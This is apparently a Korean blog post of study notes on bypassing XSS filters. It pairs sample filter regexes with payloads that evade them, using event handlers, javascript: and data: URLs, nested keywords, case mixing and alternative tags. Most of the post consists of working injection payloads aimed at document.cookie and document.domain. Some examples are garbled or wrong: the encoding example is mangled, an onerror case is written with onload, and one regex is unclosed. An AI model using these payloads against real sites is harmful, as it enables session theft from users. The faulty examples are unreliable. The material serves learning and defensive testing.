XSS Filtering Bypass - 1 본문
이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의
핸들러 함수입니다. 따라서 이벤트 핸들러 내에 XSS 공격 코드를 삽입해두면
해당 이벤트가 발생했을 때 우리의 XSS 공격 코드가 실행하게 됩니다.
자주 사용되는 이벤트 핸들러 속성으로 onload 와 onerror, onfocus가 있습니다.
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->
해당 태그가 요청하는 데이터를 로드한 후에 실행, 만약 로드에 실패했다면 실행되지 않습니다.
<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->
해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행, 만약 로드에 성공했다면 실행되지 않습니다.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->
input 태그에 커서를 클릭하여 포커스가 되면 실행되는 이벤트 핸들러입니다.
문자열 치환
XSS 키워드를 필터링할 때 의심되는 구문을 거부하는 대신에 단순히 치환 혹은
제거하는 방식의 필터링 관습이 있습니다.
이에 대한 우회법입니다.
예시
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
<scrscriptipt>alert(1)</scrscriptipt>
<img src=about: onerronerroror=alert(1)>
활성 하이퍼링크
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있습니다.
URL을 속성 값으로 받는 a태그나 iframe태그 등에 사용할 수 있습니다.
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
또한 HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있습니다.
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
이를 이용해 javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을
우회하는 경우도 존재합니다.
대/소문자 모두 검사하지 않는 방식
x => !x.includes('script') && !x.includes('on')
우회법
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
스크립트 태그 내 데이터 존재 여부 검사
x => !/<script[^>]*>[^<]/i.test(x)
우회법
<script src="data:,alert(document.cookie)"></script>
img태그의 on 이벤트 핸들러 검사
x => !/<img.*on/i.test(x
우회법 줄바꿈 이용
<img src=""\nonerror="alert(document.cookie)"/>
태그 검사
x => !/<script|<img|<input/i.test(x)
우회법
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
on 이벤트 핸들러 및 멀티 라인 문자 검사
x => !/<script|<img|<input|<.*on/is.test(x)
우회법
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
'개념 정리' 카테고리의 다른 글
SSRF (0) | 2022.06.02 |
---|---|
NoSQL Injection (0) | 2022.06.02 |
File Vulnerability (0) | 2022.05.31 |
CSRF (0) | 2022.05.30 |
XSS (0) | 2022.05.30 |